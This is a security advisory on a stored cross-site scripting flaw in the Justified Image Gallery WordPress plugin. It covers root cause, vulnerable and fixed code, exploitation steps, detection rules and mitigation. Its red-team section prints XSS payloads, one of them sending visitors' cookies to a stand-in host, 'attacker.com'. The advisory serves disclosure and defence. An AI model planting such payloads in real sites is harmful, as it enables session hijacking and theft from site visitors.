CVE-2025-22518

Executive Summary

CVE-2025-22518 is a Stored Cross-Site Scripting (XSS) vulnerability in the Justified Image Gallery WordPress plugin, developed by Pluginspoint. The flaw exists in versions up to and including 1.0, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject arbitrary JavaScript into gallery parameters, which will execute in the browsers of any visitor viewing the compromised gallery page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the plugin is not an NPM, PyPI, Go, or Ruby package, supply chain risks are limited to the plugin’s update mechanism. However, the lack of a patch means site administrators must rely on manual mitigation or removal.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Contributor or higher)
• User Interaction: Required (victim must visit the gallery page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can affect all site visitors, including administrators.

Deep Dive & Mechanics

The vulnerability resides in the gallery shortcode or admin panel of the Justified Image Gallery plugin. When a user with contributor-level access or higher creates or edits a gallery, input fields such as image titles, captions, or custom CSS classes are not sanitized or escaped before being stored in the database. When the gallery is rendered on the frontend, the unsanitized data is output directly into the HTML, allowing arbitrary JavaScript execution.

Root Cause: The plugin uses functions like echo $title; or the_title_attribute() without proper escaping (e.g., esc_html() or wp_kses()). This allows an attacker to inject payloads such as <script>alert('XSS')</script> into fields that are later displayed.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new gallery or edits an existing one.
3. Attacker injects malicious JavaScript into a field (e.g., image caption).
4. The payload is stored in the WordPress database.
5. Any user (including admins) visiting the gallery page triggers the XSS.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.0):

// In gallery display function
echo '<div class="gallery-item">';
echo '<img src="' . $image_url . '" alt="' . $image_title . '">';
echo '<p>' . $image_caption . '</p>';
echo '</div>';

Patched Code (hypothetical):

// Properly escaped output
echo '<div class="gallery-item">';
echo '<img src="' . esc_url($image_url) . '" alt="' . esc_attr($image_title) . '">';
echo '<p>' . esc_html($image_caption) . '</p>';
echo '</div>';

The vulnerable version directly outputs $image_caption without escaping, allowing HTML/JavaScript injection. The patched version uses esc_html() to neutralize the input.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Justified Image Gallery <= 1.0 installed.
• Contributor-level account or higher.

Steps:

1. Log in to WordPress admin.
2. Navigate to Justified Image Gallery → Add New Gallery.
3. In the Image Caption field, enter the following payload:

   <script>alert(document.cookie)</script>
   

4. Save the gallery and publish it.
5. Visit the gallery page on the frontend. The JavaScript will execute.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Response)

Detection:

• Monitor WordPress admin logs for unusual gallery creation/editing by low-privilege users.
• Look for HTTP requests containing <script> tags in gallery-related POST parameters.

Response:

• Immediately remove the malicious gallery.
• Reset all user sessions.
• Review user roles and permissions.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/justified-image-gallery/ (entire plugin directory)
• Database: Rows in wp_posts or wp_postmeta containing <script> tags in gallery-related fields.
• Network: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress debug log entries showing wp_kses failures or unescaped output.

Detection Engineering

YARA Rule

rule CVE_2025_22518_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Justified Image Gallery plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22518"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = /wp-content\/plugins\/justified-image-gallery/
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in Justified Image Gallery
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in Justified Image Gallery plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url|contains: /wp-admin/admin-ajax.php
        http.body|contains: action=justified_gallery_save
        http.body|contains: <script
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in gallery descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22518 Stored XSS in Justified Image Gallery"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=justified_gallery_save"; http_client_body; content:"<script"; within:100; reference:cve,2025-22518; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove all galleries created by untrusted users.
3. Review and restrict user roles – only grant contributor access to trusted users.

Long-term Fix:

• Since no patch is available, consider replacing the plugin with an alternative (e.g., Envira Gallery or NextGEN Gallery).
• Implement a Web Application Firewall (WAF) rule to block <script> tags in gallery-related POST requests.

Code-Level Fix (if you maintain the plugin):

• Apply esc_html() to all output fields.
• Use wp_kses_post() for rich text fields.

Valters IT
Securing Digital Frontiers